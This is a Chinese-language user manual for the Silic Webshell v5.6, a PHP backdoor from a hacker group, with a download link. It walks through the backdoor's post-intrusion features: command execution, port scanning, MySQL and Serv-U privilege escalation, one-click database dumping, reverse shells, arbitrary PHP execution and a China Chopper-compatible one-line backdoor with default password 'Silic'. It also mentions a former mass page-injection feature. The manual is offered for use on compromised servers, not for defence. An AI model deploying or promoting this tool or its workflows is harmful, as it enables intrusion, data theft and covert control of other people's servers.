习科大马 v5.6
Silic Webshell V5.6 使用手册
Silic Group Hacker Army后门管理程序
欢迎使用Silic Group Hacker Army开发的Web安全测试程序本程序基于php开发和运行，代码行数2210 lines, 程序大小135KB(占用空间136KB)，本程序未加密，无后门。请将本脚本置于支持php的目录并访问运行，默认密码为Silic，首字母大写。
目录
1) 主界面 - 登陆
2) 文件管理
3) 命令执行
4) 扫描端口
5) 系统信息
6) MySQL执行模块
7) MySQL管理
8) PostgreSQL
9)其他数据库
10) 扫描木马
11) 搜索文件
12) 批量替换
11) Serv-U提权
12) Win组件
14) 反弹连接
15) 执行php代码
16) ZIP解压
17) 一句话服务端小马集成
18) 密码修改
19) 更新v5.6说明
1) 主界面 - 登陆
这个没什么好说的，输入对了密码就OK了，默认密码Silic
程序采用三层MD5+Salt加密，Session验证二次MD5加密，大可不必担心被人社工
2) 文件管理
这个功能也不必多说，会用鼠标的人都会用
不过这里讲一下两个比较隐蔽的功能，第一个是图中1示中，点击文件夹的“属性”，如果有权限的话可以更改目录属性，例如0777，例如0555。
当然，有权限的情况是极少数。
第二点就是单一文件下载功能，很多人找不到Spider的单一文件下载，而“打包”又常常出现文件损坏的情况。
点击文件的“大小”就可以下载单一文件啦！
3) 命令执行
这个功能使用了php的几个命令执行函数，除非管理员比较操蛋的把exec(),shell_exec(),system(),passthru()都禁用了，不然本功能不会失效。
这里功能在默认选项里面配备了了几个常用命令 :-)
4) 扫描端口
设置好端口和ip扫描就好了 —_—！
ip可以是本机也可以是局域网，广域网没有测试过。
端口列表:ftp-21,ssh-22,tcp-23,25-smtp,http-80,pop3-110,PortMapper-111,
不解释135,139和445,
https-443,mssql-1433,mysql-3306,远程桌面-3389,RAdmin-4899,
PcAnyWhere-5631,PostgreSQL-5432,WebLogic-7001,Tomcat-8000,Tomcat-8080,FileZilla-14147,Serv-U-43958
5) 系统信息
phpinfo看起来太头疼，这个更直观一些。
入侵中主要查看php是否为安全模式，被禁用的函数，是否支持oracle,sqlite,ftp和perl语法等等，以及一些其他探针
6) MySQL执行模块
此模块共分五个功能，分别是常用的MySQL语句执行（这个功能不需要解释）
第二个功能是MySQL提权，这是将以前的模块整合进来的。当然要求是有root权限的MySQL账户
第三个是MySQL脱库功能，一键导出数据库数据。当然，数据库过大很容易导致服务器宕机 :-(
第四个和第五个分别是MySQL上传和下载，可以突破一些IIS+PHP对文件读写的限制。
7) MySQL管理
这是一个类似phpMyAdmin的模块，有了这个模块则可以更加方便快捷的修改和操作数据库。
下一版可能会在这里增加数据库导入和备份功能
8) PostgreSQL
因为PostgreSQL在外国网站应用比国内应用的多，考虑到原版的鸡肋和应用的需要，将本功能单独列为一个模块
如图中所示，当PostgreSQL无法连接时，并且5432端口确实开放时，可以考虑不填写数据库和端口
默认配备的SQL语句适用于PostgreSQL 8.1，列表段还可以用select relname from pg_stat_user_tables limit 1 offset n;
更多过于PostgreSQL语句可参见http://nana.blackbap.org/?page=55
9)其他数据库
这里面的可以操作一些主流的像MSSQL,Oracle数据库，也可以操作InforMix，FireBird，DB2这些非主流的数据库
这些操作里面同样配备了一些常用的SQL语句
10) 扫描木马
这里的扫描木马仅限于扫描脚本后门哈
特征码还不是很完善，但是只有错杀不会漏掉
11) 搜索文件
同扫描木马，是文件读写匹配功能。
这里可以选择匹配正文或者匹配文件名。
12) 批量替换
将批量挂马和批量清马功能删掉了，只保留这一个功能。
上一版本的程序挂马默认地址为blackbap.org/ad.js，鉴于各位童鞋们一不小心就给BlackBap.Org加暗链了
服务器日志显示404的错误记录多数是ad.js，所以这里我们就不在加入习科的连接了。
13) Serv-U提权
这个就不说了，因为真的没什么可说的 :-(
14) Win组件
考虑到实用性，这里我们选取了Wscript和User两个shell组件
两个组件的使用代码都可以在论坛中找到
如程序所诉，Webshell所在服务器必须为Windows系统.
因为PHP提权很灵活，只有你在非常无奈的时候才值得尝试本功能
另外，5.1版更新了一个注册表内容读取功能，有一些Wscript没被禁用的机器可以尝试一下读取注册表
15) 反弹连接
反弹连接模块由linux反弹和windows反弹两部分组成
linux反弹则有perl和C两种选择，windows则为socket一种
linux的反弹脚本可以在本论坛的linux版块中找到，而socket的反弹源码也可以在本论坛中找到
16) 执行php代码
这个功能则类似于一句话，但是可以自由扩展
17) ZIP解压
本模块使用PHP的zip_open扩展来操作ZIP压缩文件，使用前请在【系统信息】中确认系统支持php_zip
压缩文件路径可写下级目录和物理路径，相对目录是否可操作未测试 :-(
确认目标路径可写以后就可解压服务器上的ZIP文件
18) 一句话服务端小马集成
这个功能将大马小马集于一身，方便用菜刀管理
菜刀设置如下：
配置地址：“http://webshell.url/.php?s=你的密码”
配置密码：你在程序中设置的密码
例如xx.com/xx.php?s=Silic，连接密码也为Silic
一句话服务端功能使用assert函数，需要验证登陆密码(既?s=密码)没有后门，请放心
19) 密码修改
这个功能不错吧 :-D
只不过按钮隐蔽了一点，按钮在顶部导航，看图右上角的小圆X
不用去各种地方多层加密MD5，还得加salt各种改 -_-!~
方便很多啊。改完了需要重新登录 :-)
以前的退出登陆功能也已经换到左上角了，也是一个小圆X，第一个小圆X是退出登陆，第二个是防误点的，第三个是修改密码
这个界面的灵感其实是来自Mac的
V5.6 更新说明
规范3处函数代码规范，修复cookie登陆bug(未实际修复)，更新版权
下一版可能改进：
完善扫描木马中后门的特征码
将linux的反弹中加入py脚本
* Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步
* Silic.wiki
下载地址：https://lanzoui.com/i28scza